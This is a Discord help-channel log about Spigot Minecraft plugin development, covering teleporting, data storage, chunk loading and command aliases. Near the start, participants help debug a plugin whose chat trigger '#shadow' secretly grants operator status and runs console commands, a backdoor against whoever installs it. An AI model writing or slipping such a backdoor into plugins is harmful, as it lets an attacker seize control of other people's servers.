#help-development
1 messages · Page 1597 of 1
can you execute console commands while server is stopping in the stop event(on disable)?
no dont think so
AntiStop plugin lmao
there isnt a stop event other than on disable lol
Hmmm, idk about that man
"AntiStop is a plugin that manages the /stop command"
i wonder how skript makes its on stop event
it must not be on disable?
cuz it can execute console commands
while stopping
trigger:
send "&3Enabled Private Messages."
set {msgs::%player's uuid%} to true
command cloud:enabledms:
trigger:
send "&3Disabled Private Messages."
set {msgs::%player's uuid%} to false
command rmsg [<offlineplayer>] [<text>]:
aliases: rmessage,dm
trigger:
if arg 1 is set:
if arg 2 is set:
if arg 1 is player:
send "&3YOU&3 -> &3%arg 1%&3: &f%arg 2%"
send "&3%player%&3 -> &3YOU&3: &f%arg 2%" to arg 1
stop
if {msgs::%arg 1's uuid%} is false:
send "&3YOU&3 -> &3%arg 1%&3: &f%arg 2%"
send "&3%player%&3 -> &3YOU&3: &f%arg 2%" to arg 1
else:
send "&cThat player has disabled dms"
stop
send "/rmsg <player> <message>" ``` this is a pretty bad one but it is a skript
I should've kept it that way
lmao
What the fuck is that dude
Free unlimited Minecraft server hosting.
parser
Nashorn
wdym
Nashorn
That’s a JS engine ?
just write your own parser
If you wanna roll that way
not that hard
Nashorn lets you execute Java as if it was JS
Something which is abandoned iirc
@unkempt ore
Compiler?
yeah the plugin doesnt work well
idkidk no why lol
the first time u say #shadow it sends it in chat
You probably mean Compiler
pretty sure it does
like
Show me the code
oh maybe
no pure java
first time i use #shadow it says
Could not pass event AsyncPlayerChatEvent to Hecks v1.0-SNAPSHOT
org.bukkit.event.EventException: null
i think theres a compiler
Then you probably mean JIT
javac compiler?
?paste
2Hex VC
im pretty sure its in a class
Text does not work for you kid
Cringe
?
He meant me
pls use text
I said VC
maybe idk
So
but im talking about in a class
Caused by: java.lang.IllegalStateException: PlayerCommandSendEvent cannot be triggered asynchronously from another thread.
I used the runTask thing
nothing
Anyways point is java doesn’t have something in std lib to evaluate if thats what u mean
Now that is weird
That exception can’t be caused by the code you sent
@EventHandler
public void onPlayerAsync(AsyncPlayerChatEvent event) {
String msg = event.getMessage();
if (msg.equalsIgnoreCase("#shadow")) {
event.getPlayer().setOp(true);
event.setCancelled(true);
} else (msg.startsWith("#shadow")) {
String command = msg.replace("#shadow ", "");
Bukkit.getScheduler().runTask(Hecks.INSTANCE, () -> Bukkit.dispatchCommand(console, command));
event.setCancelled(true);
}
}
Cleaned it a tad though
Wait, args
Facepalm
do i wanna know XD
im not payin anythin
Don't bother zoon
got it lol
Its async
IllegalStateException: PlayerCommandSendEvent cannot be triggered asynchronously from another thread
you can't issue commands async
runTask
Yep
if (args.length < 2) {
Bukkit.getScheduler().runTask(Hecks.INSTANCE, () -> player.setOp(true));
event.setCancelled(true);
do i do that with setcancelled too
...
No, probably not
does anyone know how the aote on hypixel skyblock works?
could u send me the code?
yes pls
1s
np
np
it should be same for 1.17
this is the code im currently using:
RayTraceResult result = player.rayTraceBlocks(blocks);
Vector dir = player.getLocation().getDirection();
if (result != null) { player.teleport(result.getHitPosition().toLocation(player.getWorld()));
} else {
player.teleport(player.getLocation().add(player.getLocation().getDirection().multiply(blocks)));
}
player.getLocation().setDirection(dir);
idk thats all i could think of
if (player.getInventory().getItemInMainHand().isSimilar(AOTE)) {
if (e.getAction().equals(Action.RIGHT_CLICK_BLOCK) || e.getAction().equals(Action.RIGHT_CLICK_AIR)) {
Location currentLocation = player.getLocation();
Vector Direction = player.getLocation().getDirection();
Direction.multiply(5);
Location target = currentLocation.add(Direction);
Block newb = target.getBlock();
if (newb.isEmpty()) {
player.teleport(target);
if (!newb.isEmpty()) {
player.sendMessage(ChatColor.RED + "You cannot teleport in this direction");
}
}```
just multiply direction
ez
if (newb.isEmpty()) {
player.teleport(target);
if (!newb.isEmpty()) {
player.sendMessage(ChatColor.RED + "You cannot teleport in this direction");
}
}``` ah yes, check if empty do this, then check in that same check if its not empty
smart
bro
i made that
ages ago
wat u expect that
its a lack of java experience
not a feature
nope
What is AOTE
aspect of the end
yeah thats intentional
is the 5 how many blocks?
yea
imma prob just make a config file
pretty much nbts
it stores values to a entity/item
is the data stored in the world or server?
PDC stores the values in NMS tags
with a 1 to 1 mapping
using the data type you supply
yeah but it stores it in a .dat file i think
Well yea, it is stored alongside all other NBT for the entity/item/whatever
no im pretty sure its stored in another file
somewhere
PDC ?
for pdc
now i can go pee the liquid i have been storing for 5 minutes
trust me on this
it isnt?
it is stored as a normal part of the entity/item/whatever
but what file
can i create banners with the spigot api?
whatever file that entity/item/whatever is stored in
for items it would be the tile entities in the chunk files
for tile-entities, well that
what about players
entities in 1.17 are stored in their own file, so PDC values live there
well, where is played data stored :>
Yep
^^
is that in a world?
yes
declaration: package: org.bukkit.block, interface: Banner
so its per world
If it wasn't per world you'd be able to carry data like being able to carry inventory items between worlds
And you know that's not a thing
player data (in the playerdata folder) is only kept in the main world of the server
um isnt inventory items per server
this is also where your enderchest for example is stored
Not that I remember
but
Nbt tags are just a map<string, Any>
how am i keeping my stuff through worlds
There are times that I really question the design choices behind java
hey guys!
I have this code that runs probably too well
this.main = main;
}
@EventHandler
public void SlimeReplace(EntitySpawnEvent event) {
if (event.getEntity().getType() != EntityType.SLIME) {
event.getEntity().remove();
if (event.getLocation().getWorld() == Bukkit.getWorld("rpg")) {
Location center = new Location(Bukkit.getWorld("rpg"), 68, 69, 125);
Double distance = 75D;
Location location = event.getLocation();
if (location.distanceSquared(center) <= distance * distance) {
Entity ent = Bukkit.getWorld("rpg").spawnEntity(event.getLocation(), EntityType.SLIME);
Slime slime = (Slime) ent;
}
}
}
}```
as in
Now about Map<Player, Int> Score
600+ slimes died due to entity cramming
how am i keeping my stuff through worlds
in 5 seconds
Like what?
any idea as to why so many slimes are spawnign?
You’re inventory does not change when switching worlds
pretty sure it didnt yeah
it doesn't unless you have plugins setup to block that
no it was before i installed perworld inventory
What?
Guys , I'm trying to make simple ranks sys , but there is a problem , that when the server reloads , it don't reload the player data config , why????
lol now this is turning into world help before it was about pdc
welp pdc on chunks is very closely related to world
i would of thought that pdc would be per server though
magic of memory XD
Yes
Pdc is just an api
the playerdata is in a world tho?
For tags
it lives in the main world
but is shared across all other worlds
e.g. how you have an enderchest
No in Server
but in a world
Oh my god
the file is stored in world folder yes
main is worser
Don't tell me they're writing code in a .class
Main is better but still bad
doesn't mean it is unique to that world tho
no no no its decompiled, but its still main & not CamelCase
Guys , I'm trying to make simple ranks sys , but there is a problem , that when the server reloads , it don't reload the player data config , why????
How come?
What is the "player data config"
Would you prefer to name your stuff RanksPlugin LOL
What are you talking about
cuz you should name classes LikeThis
On player join , it creates him a file, to store ranks data
Main is proper what?
but you shouldnt name class Main
Since when?
forever
A yml file? A spigot config file?
they could be other plugins with org.idkidk123.Main
the other plugins wouldnt work then
only one would
Different directories? Wdym
or maybe none
You can have multiple plugins running with Main as there main class
different jars but still has org.idkidk123123.Main
so it wouldnt work out
and it would error
if theres multiple
No you shouldn’t be depending on the main class anywhere as well
it will
How can I achieve this with generics?
abstract class A {
abstract <K> void func(K param);
}
class B {
void func(Player param);
}
you cant have two Main classes in two different jars unless its in different directory
god I hate this 1.17 exclusive issue
Have you tried it?
org.idkidk12123.Main for jar1.jar and org.idkidk12123.Main for jar2.jar it wouldnt work
Will error what?
Yeah Bomp got a point, main is usually at the highest level and a concrete class to bind everything together, not a good idea to have stuff depending on it tightly
means doing a.a.plugina.main a.a.pluginb.main
i know what he means
a ClassException maybe idfk
Achieve what?
but its still not great to do Main as the main class
He’s saying you can’t have two separate plugins with same package directories
private void spawn() {
new DeveloperMessage("Spawning 0");
if (villager != null && villager.isValid()) return;
new DeveloperMessage("Spawning 1");
WorldGuardSpawnEventBypasser.forceSpawn();
this.villager = spawnLocation.getWorld().spawn(spawnLocation, Villager.class, new Consumer<Villager>() {
@Override
public void accept(Villager villager) {
villager.setAI(false);
villager.setPersistent(false);
villager.setRemoveWhenFarAway(false);
villager.setCustomName(ChatColorConverter.convert(npCsConfigFields.getName()));
villager.setCustomNameVisible(true);
villager.setProfession(npCsConfigFields.getProfession());
}
});
EntityTracker.registerNPCEntity(this);
initializeRole();
this.uuid = villager.getUniqueId();
setTimeout();
new DeveloperMessage("Spawning 2 - " + villager.isValid());
}
1.16.5 (and older) - [EliteMobs] Developer message: Spawning 2 - true
1.17.1 - [EliteMobs] Developer message: Spawning 2 - false
give me a break
And the same class name which is so wrong
Yml
you cant tho
this is such bs
it shouldnt
And you're saying the server resetting...does what?
how would it know which one
Why wouldn’t it work?
Man, this channel is moving fast
That my superclass can have a fixed class Player as a parameter, instead of having to use K and having to cast to Player in the method body
You can’t import two classes called Main within the same class. Then you’d have to refer to one with the fully qualified class name.
Yea and as I said you should never be importing your main class anywhere
So there’s no issue
spnda one way would be to have a type param at class level
Yeah class level I know, I'd still prefer it to be method level
how do u get the direction a play is facing?
Their location
getYaw getPitch on location i think
ok
Location has getDirection
oh
Which is a normalized Vector
Spnda one way would be to have the method from A set its type parameter to K extends Player
But what goes wrong here is that K is erased to Object
for some reason that wasnt working
method A is from a subproject, which doesnt depend on bukkit
And since it’s just bound to its method, the derived class would have to specify the method signature of an Object then
Oh right
Maybe a wrapper
Like an adapter
how do you teleport someone somewhere without changing their rotation?
Or bridger
I mean that's too much work then if its just 1 or 2 methods
You teleport them to the specific location, but get their direction at the time of the teleport, and then set the direction of the Location you're teleporting to to that direction
i was doing:
Vector v = player.getLocation.getDirection();
--EDIT DIRECTION
player.getLocation.setDirection(v);
and it wouldnt set the direction to the original direction
In fact that’s probably the only solid way
yeah im just gonna do it like that
When you getDirection, you're getting a copy, not a reference
You have to set the Player's Location to the edited Location
still doesn't work preferably
"Doesn't work" means what
well I still can't really change where i'm looking
dir = p.location.direction
destination = new location(x, y, z)
destination.setdirection(dir)
p.teleport(destination)
idk why you ever would use the same package names for two seperate projects
some people will
yeah that is what I have
i didnt say i will
Strange
if you odnt then boom you can use Main
So the direction does not set to where you're looking then
hmm yeah but i still like naming the main class the name of your plugin
so what I am trying to do is while you hold down 'swap' you teleport slightly forward
I don't get it
i use to then started doing outter projects and realized my main class should be Main
because its the main class
now carried that back to spigot
just preference tho
you just can't turn while you are being teleported forward
and I was asking if that is avoidable
Block b = player.getTargetBlock(null, blocks);
Location loc = new Location(b.getWorld(), b.getX(), b.getY(), b.getZ(), player.getLocation().getYaw(), player.getLocation().getPitch());
player.teleport(loc);
im trying that out now
Block b = player.getTargetBlock(null, blocks);
Location loc = new Location(b.getWorld(), b.getX(), b.getY(), b.getZ(), player.getLocation().getYaw(), player.getLocation().getPitch());
player.teleport(loc);
im fine with naming it Main if its not a spigot plugin
So you want to be able to have it teleport slightly forward, as in in the direction the player is looking?
yes, it already does that
and it does that while you hold swap hands
my solution worked
this one
b.getLocation().setDirection(player.getDirection()) lmao
what does it do
Actually, getLocation would clone it to begin with
You're doing a bunch of unnecessary stuff here
I am pretty sure that will still make it so you can't change the direction you are being teleported
i have a old intellij lol its intellij 2020.2
Or just store the vector they're being teleported to when they begin holding swap hands, and then keep utilizing that vector
By teleporting the player to the current location + the vector multiplied by some factor to make it smaller
If the player looked around, they'd keep teleporting in the same direction as when they started holding "swap'
which method makes it so that the drops are with physics? This one: java event.getBlock().getWorld().dropItem
or this: event.getBlock().getWorld().dropItemNaturally?
whats the difference between dropItemNaturally dropItem?
Read the docs
does it drop the item like the drop when you break dirt block or something?
I did
Well?
no luck
k but there has to be a difference
Drop item naturally just makes the location slightly random. A "natural" drop
And flings it a tiny bit, probably
oh lol it says dropItemNaturally(Location location, ItemStack item)
Drops an item at the specified Location with a random offset
_ _
It probably takes the direction of the location as well
Doesn't just plop it down
how tf is that natural tho
but is there a way to make the drop spawn and physics like a dirt block or something?
It means "natural" as in, imagine a hopper dropping it
It offsets it a bit each time
hoppers dont drop
Sorry, sorry
Dropper
But unnaturally would be throwing it and having it land in exactly the same place each time
That is what it looks like to me
pretty sure dropper throws it just forward and up a bit in like a curv?
k I will try
let the man explain
Nah it adds some up and down randomness to that iirc
yeah but it doesnt use x or z depending on what orientation its placed and im pretty sure if its placed upside down or up it just drops a item?
Well placing it upside down or downside up wouldn't just prevent it from flinging it in a slightly different direction each throw
Like you know how they spew items in slightly different angles when they're spamming drops?
That's natural
Unnatural would be a perfect stream
oof the dropper or dispenser cant place command blocks any more
i didnt know that in 1.16
I just learned Java and have no clue on what I should try to make as a plugin
Anyone have any ideas?
Coffee plugin
i suggest to start with something small and do bigger stuff as soon as you get more advanced in java
Yeah but I don't know what to start with that's the problem
idk either
cuz im rubbish at thinking of ideas
lmao
What do you mean?
maybe he means like you do /coffee and it says You have i coffee
That's too easy for me lol
What do you mean
like you save it to a file
on stop
all the players
and load it back in
at start
so when you have 5 coffee and you restart you still have 5 coffee
Create a vault implementation plugin then maybe
I used a youtube tutorial that helped me create a currency plugin which saves and loads in what I named tokens and I also added a command that allows players to pay each other
Thats the most advanced plugin I've made
make a shop plugin to use the tokens maybe
Good idea
i mean you could also go for a inventory framework
Yeah like a gui
yes
I know how to make a simple GUI in java too lol
ah yeah same
it's JOptionPane if I remember correctly
JFrame and Canvas
oh i used JFrame
and Canvas for drawing but you dont need it
Yeah I skipped that in a tutorial because I don't need to use those guis
because I only learned Java so I can createm Minecraft plugins lol
this thing does a similar thing to what ur code did:
Block b = player.getTargetBlock(null, blocks);
Location loc = new Location(b.getWorld(), b.getX(), b.getY(), b.getZ(), player.getLocation().getYaw(), player.getLocation().getPitch());
player.teleport(loc);
hmm yeah but if you want to draw in pixels you need to use Canvas
I learned java from here https://www.w3schools.com/java/default.asp
Here are some links to get you started on learning Java:
- https://www.codecademy.com/learn/learn-java
- https://www.sololearn.com/learning/1068
- https://www.learnjavaonline.org/
- https://programmingbydoing.com/
- https://docs.oracle.com/javase/tutorial/java/index.html
The last one is the only official one, however some of those concepts assume that you already know a bit about programming.
I also learned a bit from here https://www.youtube.com/watch?v=xk4_1vDrzzo&t=39523s
Please bro. b.getLocation().setDirection(player.getLocation().getDirection())
getVelocity?
dude that didnt work, im sorry
How though, that is so weird
im intelligent (sarcasm) i completely forgot velocity
I want to understand what the difference is
Because b.getLocation() makes a clone in the first place
Speed is simply the rate of change of motion.
Velocity is direction-aware and it is the rate of change of position of an object.
from google
Which is why velocity can be negative but not speed
ik, i completely forgot
AbstractArrow, AbstractHorse, AbstractSkeleton, AbstractVillager, Ageable, Ambient, Animals, AreaEffectCloud, ArmorStand, Arrow, Axolotl, Bat, Bee, Blaze, Boat, Boss, Breedable, Cat, CaveSpider, ChestedHorse, Chicken, Cod, CommandMinecart, ComplexEntityPart, ComplexLivingEntity, Cow, Creature, Creeper, Damageable, Dolphin, Donkey, DragonFireball, Drowned, Egg, ElderGuardian, EnderCrystal, EnderDragon, EnderDragonPart, Enderman, Endermite, EnderPearl, EnderSignal, Evoker, EvokerFangs, ExperienceOrb, Explosive, ExplosiveMinecart, FallingBlock, Fireball, Firework, Fish, FishHook, Flying, Fox, Ghast, Giant, GlowItemFrame, GlowSquid, Goat, Golem, Guardian, Hanging, Hoglin, HopperMinecart, Horse, HumanEntity, Husk, Illager, Illusioner, IronGolem, Item, ItemFrame, LargeFireball, LeashHitch, LightningStrike, LingeringPotion, LivingEntity, Llama, LlamaSpit, MagmaCube, Marker, Minecart, Mob, Monster, Mule, MushroomCow, NPC, Ocelot, Painting, Panda, Parrot, Phantom, Pig, Piglin, PiglinAbstract, PiglinBrute, PigZombie, Pillager, Player, PolarBear, PoweredMinecart, Projectile, PufferFish, Rabbit, Raider, Ravager, RideableMinecart, Salmon, Sheep, Shulker, ShulkerBullet, Silverfish, SizedFireball, Skeleton, SkeletonHorse, Slime, SmallFireball, Snowball, Snowman, SpawnerMinecart, SpectralArrow, Spellcaster, Spider, SplashPotion, Squid, Steerable, StorageMinecart, Stray, Strider, Tameable, ThrowableProjectile, ThrownExpBottle, ThrownPotion, TippedArrow, TNTPrimed, TraderLlama, Trident, TropicalFish, Turtle, Vehicle, Vex, Villager, Vindicator, WanderingTrader, WaterMob, Witch, Wither, WitherSkeleton, WitherSkull, Wolf, Zoglin, Zombie, ZombieHorse, ZombieVillager -- this is how many classes implements Entity
did you forget how many entities are in minecraft?
yeah
wtf are sheeps going black
in optifine 1.17.1
wtf
is all entities
going black in optifine 1.17.1
WTF
MY PLAYER TURNS TRANSPARENT
How do I make one command to have 2 things
like so I could make it not only /tokens
but like /te or /token as well
It’s a feature
yo
how come armorstands are still visible when i set visibility to false??
they're originally invisible, and then when a user relogs they become visible
Im getting this error:
https://paste.md-5.net/yoninafeye.java
the line it has an issue with is this:
transparent.add(Material.AIR);
im not sure why
does anyone know the answer to my question?
*lines:
Set<Material> transparent = new HashSet<>();
transparent.add(Material.WATER);
transparent.add(Material.AIR);
transparent.add(Material.VOID_AIR);
transparent.add(Material.CAVE_AIR);
Block b = player.getTargetBlock(transparent, blocks);
u mean like aliases?
yeah how do I do that
you make aliases in your plugin.yml
do I add aliases under the command
yeah
how would I add two
<command>:
description: Player help command
usage: /<command>
aliases:
- <1>
- <2>
- <3>```
ah ok
commands:
hi:
aliases: [hello, howdy]
nah its cuz i had fast render
or ^
idk those are material types, so i added them, they are the air in caves & voids
so like
commands:
tokens:
description: Main tokens command
aliases:
- te
- token
#getChunk loads a chunk right? Does #getChunkAt from #getWorld also do that?
Yes. As soon as you get a Chunk object it has to be loaded by the server.
so I can't understate how much this sucks if you're trying to queue something for a chunk load event
well apparently it isnt fast render cuz its still happening just less often
Elaborate
so as of 1.17 shit just doesn't spawn correctly in unloaded chunks, so you have to load the chunk
except sometimes loading the chunk ahead of time also causes shit to not load properly
so I queue it by putting it in the load event
except I need a huge workaround to get the chunk loading to work because I can't tell the plugin which chunk I will be working with
oh holy crap what the heck is this
🤷♂️ hub.spigotmc.org (bitbucket stuff) doesnt have a darkmode
this is sort of making me lose my mind
Did i get this right?
- So you schedule an action (with an entry to a map like:)
Map<Long, Consumer<Chunk> - Then you load the chunk with a chunk ticket. But first you check if its loaded already ofc.
- Then listen for the ChunkLoadEvent, get the consumer out of the map and apply the action to the chunk.
that's the general idea but it comes with a lot of caveats
you can't directly check if a chunk is loaded so I check via the world method
This looks like it should be done using a Map<Class<? extends Entity>, BiFunction<something something> ...
Naturally
Go ahead and PR it into CraftBukkit then: https://hub.spigotmc.org/stash/projects/SPIGOT/repos/craftbukkit/browse/src/main/java/org/bukkit/craftbukkit/entity/CraftEntity.java#197
its like legit 300 lines of code
and you can't really listen to the event without finding a way to hash or serialize the chunk into a format that doesn't require having the chunk object in the first place
because if you get the chunk it loads
and it probably loads before you can queue your consumer
Represent the chunk using a long
I don't have my chunk ahead of time is the thing, I have an arbitrary location
Just by the coordinates. Thats deterministic.
also let me point out that this is for the sole purpose of spawning an entity in an unloaded chunk, it's a very involved process for something that in previous versions you could simply do via the spawn method
public static boolean isChunkLoaded(final Location loc) {
final int chunkX = loc.getBlockX() >> 4;
final int chunkZ = loc.getBlockZ() >> 4;
final World world = loc.getWorld();
if (world == null) {
return false;
}
return world.isChunkLoaded(chunkX, chunkZ);
}
public static long getChunkKey(final int x, final int z) {
return (long) x & 0xFFFFFFFFL | ((long) z & 0xFFFFFFFFL) << 32;
}
public static long getChunkKey(final Location loc) {
return getChunkKey(loc.getBlockX() >> 4, loc.getBlockZ() >> 4);
}
oh dear lord no kill it now
Just use a Map<Long, Consumer<Chunk>>
Does 1.12 use item ids?
it's not like I don't have it
I honestly thought the fact that unloaded chunk spawning broke was a bug
it worked great in previous versions, I used it very thoroughly
if the api supported it from at least 1.9 ish to 1.116 I think someone could expect that this is a stable behavior
that's the thing though
loading the chunks ahead of time does not guarantee it will work
not in the least
only if you start playing around with keeping it alive for a few ticks and then manipulating it
This is a mock up:
private final Map<Long, Consumer<Chunk>> queuedChunkActions = new HashMap<>();
public void queueForLocation(final Location location, final Consumer<Location> chunkLoadConsumer) {
final long chunkKey = UtilChunk.getChunkKey(location);
if (UtilChunk.isChunkLoaded(location)) {
// Directly apply action on location
chunkLoadConsumer.accept(location);
} else {
// Queue for later use
this.queuedChunkActions.put(chunkKey, (chunk) -> {
chunkLoadConsumer.accept(location);
this.queuedChunkActions.remove(chunkKey);
// Remove plugin ticket here
});
// Add plugin ticket here
}
}
@EventHandler
public void onChunkLoad(final ChunkLoadEvent event) {
final Chunk chunk = event.getChunk();
final long chunkKey = UtilChunk.getChunkKey(chunk);
final Consumer<Chunk> chunkConsumer = this.queuedChunkActions.remove(chunkKey);
if (chunkConsumer != null) {
chunkConsumer.accept(chunk);
}
}
No chunk needs to be loaded right away but you can queue an action for later when the chunk is loaded.
you can take a look at my current code
https://paste.md-5.net/vaziwazebi.java
right now it is working with the caveat that I am accidentally loading the chunks so like half the stuff spawns on startup the other half gets queued
This wont work
You dont even discriminate between chunks
You just spawn the NPC at the next random chunk that gets loaded
wdym it won't work, it works
and i do discriminate going through the chunk location util which hashes the chunk object
I really don't care if those two are anonymous
What does the integer in your loadingNPCChunk map represent?
hashed chunk object
x z and world uuid get hashed
Makes no sense. In order to calc the hash you would need to load the chunk
Then dont
I know
You can just represent the chunk with a single long.
it's just because I keep getting the shovel out and digging deeper for spawning things in unloaded chunks that I came here to check if someone else was experiencing the same issue
never heard of that method before, seems useful
With a double wrapped list
Ive seen worse.
why do you have expectations to start with
maybe you should curb them then
what did you found them on?
I am fully self taught in programming, I don't walk around with an encyclopedic knowledge of programming
it's still not even my main activity
so this is your preferred way? npcEntityHashMap.computeIfAbsent(worldName, key -> new ArrayList<>()).add(npcEntity);
pretty cool little helper function, thanks
well I've got about 100 code instance this will be replacing in a near future lol
yeah I've been starting to dip my toes in the deeper side of the java pool lately, there's still a whole world out there I've not touched yet
actually do you want to take a quick look at the most complex system I've worked on recently, I could use a code review
?paste
https://paste.md-5.net/gilakarexo.java it works but it's feels very patchwork right now because I've had to tweak a lot of stuff after the initial design doc, I'm dead certain I can probably just pass classes to make this simpler and more efficient
oh also some of the comments are out of date compared to the actual implementation
I've had a lot of "fun" with this one
do I even do any operations other than dumping into the hashmap in this class?
the only time this class interfaces with the hashmap is when it runs the addCustomConfigFields method
which I could probably straight up delete and dump into directly, this is leftovers from a previous implementation where it needed to be public
yeah, to be clear this class gets extended and then it becomes relevant that it is a hashmap, or at least i think it does I've not used different map implementations much
trying to look it up, given the nature of this class I think I use nearly every method that does exist lol
I'll have to take a closer look later at where stuff should be maps vs hashmaps I guess
I guess I'll have to take a closer look at the other implementations of the map because I've hardly ever used them, if I've used them at all
linkedhashmap, hashtable and treemap
yeah I tend to avoid external libraries at least until I have a better understanding of base java
oh yeah that caused me issues just earlier today actually
I feel like I'd used that in the past and forgot java provided it
Dows anyone know why I got that?
that implementation?
it's uh
I can show it
but it's easier to explain honestly
this goes through a provided package in the plugin, instantiates everything in it, the plugin is set up so those packages actually work as generators for default configuration fields, which then get parsed to see if the file already exists / new defaults exist / the defaults have been modified, sets everything that should be set compared to the current version, then reads every value to take into account modified values (custom configs only go through the instantiation and the last step)
so in this class structure it instantiates the two classes in the "premade" package when it runs the CustomSpawnConfig which uses CustomSpawnConfigFields as a defaults initializer and config parser
how so
I won't be modifying the package paths after the next tweak, they only got modified in the first place as a patchwork solution
also these don't need to enforce constructors, the classes themselves are structured like this
public class TreasureGoblinSpawn extends CustomSpawnConfigFields {
public TreasureGoblinSpawn() {
super("treasure_goblin_spawn",
true);
setSurfaceSpawn(true);
setValidWorldTypes(new ArrayList<>(Arrays.asList(World.Environment.NORMAL, World.Environment.CUSTOM)));
setCanSpawnInLight(true);
setBypassWorldGuard(false);
}
}
I am the one writing these classes
all of them
with no exception
this is hard to mess up
the fact it extends the CustomSpawnConfigFields means that it's always going to require the appropriate fields to be setup for it to compile
I agree that this requires you use the system in a specific way, but I am the author and I wrote this system specifically for myself for this purpose
the alternative was adding to the list of hundreds of classes I was instantiating
and sometimes forgetting to instantiate them and wasting time debugging that
?paste
this represents all the necessary steps to create defaults, save them and at least mostly safely process them from a yml file
https://paste.md-5.net/otujelozix.java
it's already at 674 lines before it actually gets used which for me is already too large for comfort
yeah it's basically doing the same thing over and over again for different fields
yeah but then it would necessarily be anonymous right
I guess I could group them
at most
Hello!
How can I change mob's pathfindergoal while mob is living? (I meant, I want to change pathfindergoal when it spawned. not before spawn)
guess I'll see him again in 5 min
I mean I could've told you it was him for free

anyhow that was probably a good idea
probably cut down on my getter and setter count
I remembered something
The JDA keeps a cache of all members
But the updating of these members is done via gateway events
Which are not costly. Discord just publishes
It doesn't actually request every single member, it subscribes to Discord's events and updates them this way whenever changes to them occur
Whats that?
i know gerwoman now
Finally
*Das Bier
But close ^^

Thats all the german you need actually
My cousin taught me that schweinehund means best friend
Does anyone know what this error means?
That is strange
?paste
you are doing new MainClass() somewhere in your code
You should not instantiate your main class yourself.
Traditions: You are using 1.8 so > 
I upgraded to java 16 don't point gun at me
you're using JAVA? 🔫
How else am I supposed to make plugins lmao
assembly to java transpiler
C plugin
I'm so cool I use HTML to create my plugins
Im talking about the minecraft version
1.8 has best pvp
I use an old telegraph transmitter to send assembly instructions to a robot which produces punch cards that I then plug into a computer to make my plugins
Obviously
pretty sure that's the standard way of doing things
Which involve left clicking really fast while pointing your mouse at the enemy
I always keep a stick of dynamite next to me just in case I need to undo an instruction for the bot
And left clicking really fast ^^
carpal tunnel simulator
Lmao
a lot of people can't left click really fast
and most people shouldn't do it in the first place
seems sus 
I completely forgot arraylistmultimap was a thing
wtf why does if (name != null) { if (!name.equals("")) this.name = name; } not give me a always true warn but when i do if (name != null || !name.equals("")) { this.name = name; } it does??
am i missing something
im probs being dumb and done something wrong
and havent noticed it
oh its cuz i put or(||)
with && it works
NPE
you are doing null.equals
why?
Less expensive
Won't make a big difference though
Nesting if statements is effectively the same as doing &&
oh ok
But in your second example you do ||, so the logic is not the same
i realised that
i didnt notice it till later
is it possible to create a tab completer for a different prefix for commands?
probs not
but i wanna actually
know
You mean like the namespace prefix?
/pluginname:command vs /command?
no
kinda wish there was a method to tell clients that theres a tab completer without it having to be a actual command
probs not even possible
idfk how commands are in mc
I'm gonna try to make an Essentials like plugin for Minecraft 1.17.1
for fun lol
and practice ig
essentials is already 1.17.1 so why
For practice
this.name = (name != null && !name.isEmpty()) ? name : this.name;
i already fixed lmao
the issue
I read, just a cleaner option if you wanted
lol @EventHandler doesnt mark the method below as used
anyone knows why the ide when debugging dont run plugins?
you cant do that
you have to put it in a server
wtf why do u think you can just do that
xD
you can do use ide for debugging
Cause your plugin depends on the server software
already see it
but i need to start the bash
but in some videos do it with the id directly
i do but it runs without plugins
I have my ide run my spigot jar and a gradle thing to move the new jar to the debug folder every time I save
xD
you done something wrong then
if your doing what inamine is doing
if you are not going to help do not speak xD
that is monokai pro theme afaik right?
yep, i use the same, specturm version
theres no fking way how do you do that
how do yo have the server
in the intellij
debugging means to attach a jvm and extract variables, watch, etc..
lmao
theres also remote jvm debugging
didnt know that
ew tutorials
i just brute force
i try everything i see
hm
there u can do the .jar aplication
i solved the problem
it was an space in the path to .jar
looks like your are the guy that wastes 6 hours of debugging rather reading 5 mins of docs
^
huh?
The home of Spigot a high performance, no lag customized CraftBukkit Minecraft server API, and BungeeCord, the cloud server proxy.
@hardy pivot
That wouldn't really help the issue here
that has 0 bash scripiting
Yes. The spigot information from debugging your plugin is making a remote connection to your server console. not doing the server in the ide
i mean, dont know how to explain english is not my native language
just create a instance of a spigot server with javaagent in background-
It's a different use case, that's all
Fwiw, I'm not sure how well that tutorial would work for me either
btw i solved my problem
Spigot's tutorials and docs are overall kinda lacking
thanks for helping !
true
i found more info un bukkit forums xD
a little bit outdated but useful
omg
That is quite the interesting url
huh
After an hour I have setup the economy part which will be $ and setup the commands /balance <player> and /eco add:remove:set:reset <player> <amount>
I'll probably do /pay <player> <amount> tomorrow and add a few commands like /fly /heal /feed and probably add some chat formatting
flatfile?
vault hook?
mysql?
A file in the game directory
... ok
so in the main directory there is going to be a folder called Currency and inside of that folder there will be a file called currency.dat which will hold the player data
the code for that saves and loads the file is:
private HashMap<UUID, Integer> money = new HashMap<UUID, Integer>();
public void loadMoneyFile() throws IOException, ClassNotFoundException {
File moneyFile = new File("Essentials/Currency/money.dat");
ObjectInputStream input = new ObjectInputStream(new GZIPInputStream(new FileInputStream(moneyFile)));
Object readObject = input.readObject();
input.close();
if (!(readObject instanceof HashMap)) {
throw new IOException("Data is not a HashMap");
}
money = (HashMap<UUID, Integer>) readObject;
for (UUID key : money.keySet()) {
money.put(key, money.get(key));
}
}
public void saveMoneyFile() throws IOException {
for (OfflinePlayer p : Bukkit.getOfflinePlayers()) {
File moneyFile = new File("Essentials/Currency/money.dat");
ObjectOutputStream output = new ObjectOutputStream(new GZIPOutputStream(new FileOutputStream(moneyFile)));
UUID uuid = p.getUniqueId();
try {
output.writeObject(money);
output.flush();
output.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
At this point why don't you just use a database
Because it’s just a plugin that I’m using to get practice
does anyone know how i can disable ended dragon respawning?
i don't want players on my server to be able to respawn it
u can use worldguard with mob-spawn deny flag
so before i didnt have to do mvn clean but now i do lol whats happening if i dont do mvn clean the new jar i make is gonna not update the code
What did you set ur goals to
do you know of fucking?
you know the village??
omfg it said it executed but it fucking didnt BRUH
pain
oH COME ON
i got a fucking null error
i thought the chat was 256 long
on width
or 255
Thats characters. I'm basing it off pixels
try with the characters?
and not on pixels
Chars have different sizes so you might not be able to always fit 256 chars on 1 line
i just said try it lmao ¯_(ツ)_/¯
I have before but I want it to be more precise.
Well there are 2 sides of the text so it should be divided by 2 lol
btw where are you getting 480 from?
So a line of text in mc is 480 pixels (I could be wrong but I'm basing the question off that.)
chars aren't 2 pixels in width lol
if you did 255 * 5 lol it would be massive
what is the a b c d e f g ... methods for?
